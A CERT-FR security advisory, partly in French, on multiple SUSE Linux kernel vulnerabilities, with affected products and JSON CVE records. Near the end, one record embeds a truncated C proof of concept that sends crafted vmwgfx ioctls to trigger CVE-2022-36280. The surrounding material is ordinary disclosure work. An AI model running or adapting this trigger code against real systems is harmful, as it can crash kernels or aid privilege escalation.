certfr_avis - certfr-2023-avi-0259

CERTFR-2023-AVI-0259

Vulnerability from certfr_avis

De multiples vulnérabilités ont été découvertes dans le noyau Linux de SUSE. Certaines d'entre elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur, un déni de service à distance et une atteinte à l'intégrité des données.

Solution

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

None

Impacted products

Vendor	Product	Description
SUSE	N/A	SUSE Linux Enterprise Workstation Extension 15 SP4
SUSE	SUSE Linux Enterprise High Performance Computing	SUSE Linux Enterprise High Performance Computing 15 SP4
SUSE	SUSE Linux Enterprise Server	SUSE Linux Enterprise Server for SAP Applications 12 SP4
SUSE	N/A	SUSE OpenStack Cloud Crowbar 9
SUSE	SUSE Manager Retail Branch Server	SUSE Manager Retail Branch Server 4.3
SUSE	openSUSE Leap	SUSE openSUSE Leap Micro 5.3
SUSE	N/A	SUSE Linux Enterprise High Availability Extension 15 SP4
SUSE	SUSE Linux Enterprise Server	SUSE Linux Enterprise Server 12 SP4 LTSS 12-SP4
SUSE	SUSE Linux Enterprise Micro	SUSE Linux Enterprise Micro 5.3
SUSE	N/A	SUSE Linux Enterprise High Availability Extension 12 SP4
SUSE	N/A	SUSE Legacy Module 15-SP4
SUSE	SUSE Linux Enterprise Micro	SUSE Linux Enterprise Micro for Rancher 5.3
SUSE	SUSE Linux Enterprise Server	SUSE Linux Enterprise Server 12 SP4 ESPOS 12-SP4
SUSE	Basesystem Module	SUSE Basesystem Module 15-SP4
SUSE	SUSE Linux Enterprise Real Time	SUSE Linux Enterprise Real Time 15 SP4
SUSE	SUSE Manager Proxy	SUSE Manager Proxy 4.3
SUSE	openSUSE Leap	SUSE openSUSE Leap 15.4
SUSE	SUSE Linux Enterprise High Performance Computing	SUSE Linux Enterprise High Performance Computing 12 SP4
SUSE	SUSE Linux Enterprise Server	SUSE Linux Enterprise Server for SAP Applications 15 SP4
SUSE	N/A	SUSE OpenStack Cloud 9
SUSE	SUSE Linux Enterprise Server	SUSE Linux Enterprise Server 15 SP4
SUSE	SUSE Linux Enterprise Live Patching	SUSE Linux Enterprise Live Patching 12-SP4
SUSE	SUSE Linux Enterprise Server	SUSE Linux Enterprise Server 12 SP4
SUSE	N/A	SUSE Development Tools Module 15-SP4
SUSE	SUSE Manager Server	SUSE Manager Server 4.3
SUSE	SUSE Linux Enterprise Desktop	SUSE Linux Enterprise Desktop 15 SP4
SUSE	SUSE Linux Enterprise Micro	SUSE Linux Enterprise Micro 5.4
SUSE	SUSE Linux Enterprise Live Patching	SUSE Linux Enterprise Live Patching 15-SP4

References

Title

Publication Time

Tags

Bulletin de sécurité SUSE SUSE-SU-2023:0852-1 du 21 mars 2023	None	vendor-advisory
Bulletin de sécurité SUSE SUSE-SU-2023:0796-1 du 17 mars 2023	None	vendor-advisory

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "SUSE Linux Enterprise Workstation Extension 15 SP4",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise High Performance Computing 15 SP4",
      "product": {
        "name": "SUSE Linux Enterprise High Performance Computing",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Server for SAP Applications 12 SP4",
      "product": {
        "name": "SUSE Linux Enterprise Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE OpenStack Cloud Crowbar 9",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Manager Retail Branch Server 4.3",
      "product": {
        "name": "SUSE Manager Retail Branch Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE openSUSE Leap Micro 5.3",
      "product": {
        "name": "openSUSE Leap",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise High Availability Extension 15 SP4",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Server 12 SP4 LTSS 12-SP4",
      "product": {
        "name": "SUSE Linux Enterprise Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Micro 5.3",
      "product": {
        "name": "SUSE Linux Enterprise Micro",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise High Availability Extension 12 SP4",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Legacy Module 15-SP4",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Micro for Rancher 5.3",
      "product": {
        "name": "SUSE Linux Enterprise Micro",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Server 12 SP4 ESPOS 12-SP4",
      "product": {
        "name": "SUSE Linux Enterprise Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Basesystem Module 15-SP4",
      "product": {
        "name": "Basesystem Module",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Real Time 15 SP4",
      "product": {
        "name": "SUSE Linux Enterprise Real Time",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Manager Proxy 4.3",
      "product": {
        "name": "SUSE Manager Proxy",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE openSUSE Leap 15.4",
      "product": {
        "name": "openSUSE Leap",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise High Performance Computing 12 SP4",
      "product": {
        "name": "SUSE Linux Enterprise High Performance Computing",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Server for SAP Applications 15 SP4",
      "product": {
        "name": "SUSE Linux Enterprise Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE OpenStack Cloud 9",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Server 15 SP4",
      "product": {
        "name": "SUSE Linux Enterprise Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Live Patching 12-SP4",
      "product": {
        "name": "SUSE Linux Enterprise Live Patching",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Server 12 SP4",
      "product": {
        "name": "SUSE Linux Enterprise Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Development Tools Module 15-SP4",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Manager Server 4.3",
      "product": {
        "name": "SUSE Manager Server",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Desktop 15 SP4",
      "product": {
        "name": "SUSE Linux Enterprise Desktop",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Micro 5.4",
      "product": {
        "name": "SUSE Linux Enterprise Micro",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    },
    {
      "description": "SUSE Linux Enterprise Live Patching 15-SP4",
      "product": {
        "name": "SUSE Linux Enterprise Live Patching",
        "vendor": {
          "name": "SUSE",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": null,
  "content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
  "cves": [
    {
      "name": "CVE-2023-0461",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-0461"
    },
    {
      "name": "CVE-2021-4203",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-4203"
    },
    {
      "name": "CVE-2022-36280",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-36280"
    },
    {
      "name": "CVE-2022-4129",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-4129"
    },
    {
      "name": "CVE-2023-23559",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-23559"
    },
    {
      "name": "CVE-2023-26545",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-26545"
    },
    {
      "name": "CVE-2023-22995",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-22995"
    },
    {
      "name": "CVE-2022-38096",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-38096"
    },
    {
      "name": "CVE-2022-2991",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-2991"
    },
    {
      "name": "CVE-2023-0045",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-0045"
    },
    {
      "name": "CVE-2023-0597",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-0597"
    },
    {
      "name": "CVE-2023-0590",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-0590"
    }
  ],
  "initial_release_date": "2023-03-24T00:00:00",
  "last_revision_date": "2023-03-24T00:00:00",
  "links": [],
  "reference": "CERTFR-2023-AVI-0259",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2023-03-24T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "D\u00e9ni de service \u00e0 distance"
    },
    {
      "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    },
    {
      "description": "\u00c9l\u00e9vation de privil\u00e8ges"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans \u003cspan\nclass=\"textit\"\u003ele noyau Linux de SUSE\u003c/span\u003e. Certaines d\u0027entre elles\npermettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non\nsp\u00e9cifi\u00e9 par l\u0027\u00e9diteur, un d\u00e9ni de service \u00e0 distance et une atteinte \u00e0\nl\u0027int\u00e9grit\u00e9 des donn\u00e9es.\n",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux de SUSE",
  "vendor_advisories": [
    {
      "published_at": null,
      "title": "Bulletin de s\u00e9curit\u00e9 SUSE SUSE-SU-2023:0852-1 du 21 mars 2023",
      "url": "https://www.suse.com/support/update/announcement/2023/suse-su-20230852-1/"
    },
    {
      "published_at": null,
      "title": "Bulletin de s\u00e9curit\u00e9 SUSE SUSE-SU-2023:0796-1 du 17 mars 2023",
      "url": "https://www.suse.com/support/update/announcement/2023/suse-su-20230796-1/"
    }
  ]
}

CVE-2023-22995 (GCVE-0-2023-22995)

Vulnerability from cvelistv5

Published

2023-02-28 00:00

Modified

2025-05-05 16:05

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

Summary

In the Linux kernel before 5.17, an error path in dwc3_qcom_acpi_register_core in drivers/usb/dwc3/dwc3-qcom.c lacks certain platform_device_put and kfree calls.

References

URL

Tags

	https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.17
	https://github.com/torvalds/linux/commit/fa0ef93868a6062babe1144df2807a8b1d4924d2
	https://security.netapp.com/advisory/ntap-20230331-0004/

Impacted products

	Vendor	Product	Version
	n/a	n/a	Version: n/a

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T10:20:31.472Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.17"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/torvalds/linux/commit/fa0ef93868a6062babe1144df2807a8b1d4924d2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20230331-0004/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-22995",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-23T13:28:58.003539Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-05T16:05:37.583Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel before 5.17, an error path in dwc3_qcom_acpi_register_core in drivers/usb/dwc3/dwc3-qcom.c lacks certain platform_device_put and kfree calls."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-03-31T00:00:00.000Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.17"
        },
        {
          "url": "https://github.com/torvalds/linux/commit/fa0ef93868a6062babe1144df2807a8b1d4924d2"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20230331-0004/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2023-22995",
    "datePublished": "2023-02-28T00:00:00.000Z",
    "dateReserved": "2023-01-11T00:00:00.000Z",
    "dateUpdated": "2025-05-05T16:05:37.583Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-0461 (GCVE-0-2023-0461)

Vulnerability from cvelistv5

Published

2023-02-28 14:23

Modified

2025-02-13 16:38

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Summary

There is a use-after-free vulnerability in the Linux Kernel which can be exploited to achieve local privilege escalation. To reach the vulnerability kernel configuration flag CONFIG_TLS or CONFIG_XFRM_ESPINTCP has to be configured, but the operation does not require any privilege. There is a use-after-free bug of icsk_ulp_data of a struct inet_connection_sock. When CONFIG_TLS is enabled, user can install a tls context (struct tls_context) on a connected tcp socket. The context is not cleared if this socket is disconnected and reused as a listener. If a new socket is created from the listener, the context is inherited and vulnerable. The setsockopt TCP_ULP operation does not require any privilege. We recommend upgrading past commit 2c02d41d71f90a5168391b6a5f2954112ba2307c

References

URL

Tags

	https://kernel.dance/#2c02d41d71f90a5168391b6a5f2954112ba2307c
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2c02d41d71f90a5168391b6a5f2954112ba2307c
	https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html
	https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html

Impacted products

	Vendor	Product	Version
	Linux	Linux Kernel	Version: 0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T05:10:56.165Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://security.netapp.com/advisory/ntap-20230331-0006/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://kernel.dance/#2c02d41d71f90a5168391b6a5f2954112ba2307c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2c02d41d71f90a5168391b6a5f2954112ba2307c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-0461",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-01T15:55:09.289052Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-01T15:55:22.180Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Linux Kernel",
          "repo": "https://git.kernel.org",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2c02d41d71f90a5168391b6a5f2954112ba2307c",
              "status": "affected",
              "version": "0",
              "versionType": "git"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "slipper"
        }
      ],
      "datePublic": "2023-01-02T23:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eThere is a use-after-free vulnerability in the Linux Kernel which can be exploited to achieve local privilege escalation. To reach the vulnerability kernel configuration flag \u003ccode\u003eCONFIG_TLS\u003c/code\u003e\u0026nbsp;or \u003ccode\u003eCONFIG_XFRM_ESPINTCP\u003c/code\u003e\u0026nbsp;has to be configured, but the operation does not require any privilege.\u003c/p\u003e\u003cp\u003eThere is a use-after-free bug of \u003ccode\u003eicsk_ulp_data\u003c/code\u003e\u0026nbsp;of a \u003ccode\u003estruct inet_connection_sock\u003c/code\u003e.\u003c/p\u003e\u003cp\u003eWhen \u003ccode\u003eCONFIG_TLS\u003c/code\u003e\u0026nbsp;is enabled, user can install a tls context (\u003ccode\u003estruct tls_context\u003c/code\u003e) on a connected tcp socket. The context is not cleared if this socket is disconnected and reused as a listener. If a new socket is created from the listener, the context is inherited and vulnerable.\u003c/p\u003e\u003cp\u003eThe \u003ccode\u003esetsockopt\u003c/code\u003e\u0026nbsp;\u003ccode\u003eTCP_ULP\u003c/code\u003e\u0026nbsp;operation does not require any privilege.\u003c/p\u003eWe recommend upgrading past commit\u0026nbsp;2c02d41d71f90a5168391b6a5f2954112ba2307c"
            }
          ],
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CVE-2023-26545 (GCVE-0-2023-26545)

Vulnerability from cvelistv5

Published

2023-02-25 00:00

Modified

2025-03-20 20:45

Severity ?

4.7 (Medium) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

Summary

In the Linux kernel before 6.1.13, there is a double free in net/mpls/af_mpls.c upon an allocation failure (for registering the sysctl table under a new location) during the renaming of a device.

References

URL

Tags

	https://github.com/torvalds/linux/commit/fda6c89fe3d9aca073495a664e1d5aea28cd4377
	https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=fda6c89fe3d9aca073495a664e1d5aea28cd4377
	https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.1.13
	https://security.netapp.com/advisory/ntap-20230316-0009/
	https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html	mailing-list
	https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html	mailing-list

Impacted products

	Vendor	Product	Version
	n/a	n/a	Version: n/a

Show details on NVD website

JSON

To clipboard

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CVE-2022-4129 (GCVE-0-2022-4129)

Vulnerability from cvelistv5

Published

2022-11-28 00:00

Modified

2025-04-14 18:09

Severity ?

5.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-667 - ->CWE-362->CWE-476

Summary

A flaw was found in the Linux kernel's Layer 2 Tunneling Protocol (L2TP). A missing lock when clearing sk_user_data can lead to a race condition and NULL pointer dereference. A local user could use this flaw to potentially crash the system causing a denial of service.

References

URL

Tags

	https://lore.kernel.org/all/20221114191619.124659-1-jakub%40cloudflare.com/t
	https://lore.kernel.org/netdev/20221121085426.21315-1-jakub%40cloudflare.com/t
	https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AM5KFIE6JNZXHBA5A2KYDZAT3MEX2B67/	vendor-advisory
	https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7X5SPXMXXFANDASPCKER2JIQO2F3UHCP/	vendor-advisory
	https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JOKXNIM2R4FQCDRQV67UMAY6EBC72QFG/	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html

Impacted products

	Vendor	Product	Version
	n/a	Linux kernel (l2tp)	Version: up to v6.0

Show details on NVD website

JSON

To clipboard

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CVE-2023-0597 (GCVE-0-2023-0597)

Vulnerability from cvelistv5

Published

2023-02-23 00:00

Modified

2025-03-12 19:17

Severity ?

5.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200

Summary

A flaw possibility of memory leak in the Linux kernel cpu_entry_area mapping of X86 CPU data to memory was found in the way user can guess location of exception stack(s) or other important data. A local user could use this flaw to get access to some important data with expected location in memory.

References

URL

Tags

	https://git.kernel.org/linus/97e3d26b5e5f371b3ee223d94dd123e6c442ba80
	http://www.openwall.com/lists/oss-security/2023/07/28/1	mailing-list

Impacted products

	Vendor	Product	Version
	n/a	Kernel	Version: Linux kernel 6.2-rc1

Show details on NVD website

JSON

To clipboard

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CVE-2023-23559 (GCVE-0-2023-23559)

Vulnerability from cvelistv5

Published

2023-01-13 00:00

Modified

2025-05-05 16:05

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

Summary

In rndis_query_oid in drivers/net/wireless/rndis_wlan.c in the Linux kernel through 6.1.5, there is an integer overflow in an addition.

References

URL

Tags

	https://patchwork.kernel.org/project/linux-wireless/patch/20230110173007.57110-1-szymon.heidrich%40gmail.com/
	https://security.netapp.com/advisory/ntap-20230302-0003/
	https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html	mailing-list
	https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html	mailing-list
	https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b870e73a56c4cccbec33224233eaf295839f228c

Impacted products

	Vendor	Product	Version
	n/a	n/a	Version: n/a

Show details on NVD website

JSON

To clipboard

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CVE-2022-2991 (GCVE-0-2022-2991)

Vulnerability from cvelistv5

Published

2022-08-25 17:24

Modified

2024-08-03 00:53

Severity ?

CWE

CWE-122

Summary

A heap-based buffer overflow was found in the Linux kernel's LightNVM subsystem. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. This vulnerability allows a local attacker to escalate privileges and execute arbitrary code in the context of the kernel. The attacker must first obtain the ability to execute high-privileged code on the target system to exploit this vulnerability.

References

URL

Tags

	https://www.zerodayinitiative.com/advisories/ZDI-22-960/	x_refsource_MISC
	https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/lightnvm/Kconfig?h=v5.10.114&id=549209caabc89f2877ad5f62d11fca5c052e0e8	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	n/a	kernel	Version: Fixed in kernel 5.15-rc1

Show details on NVD website

JSON

To clipboard

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CVE-2022-36280 (GCVE-0-2022-36280)

Vulnerability from cvelistv5

Published

2022-09-09 14:39

Modified

2024-09-17 00:01

Severity ?

6.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-120 - Buffer Overflow

Summary

An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

References

URL

Tags

	https://bugzilla.openanolis.cn/show_bug.cgi?id=2071
	https://www.debian.org/security/2023/dsa-5324	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html	mailing-list
	https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html	mailing-list

Impacted products

	Vendor	Product	Version
	Linux	kernel	Version: v3.2-rc1 < 5.13.0-52*

Show details on NVD website

JSON

To clipboard

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          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n  int sid =    create_surface();     \n  printf(\"%d\",sid);     \n    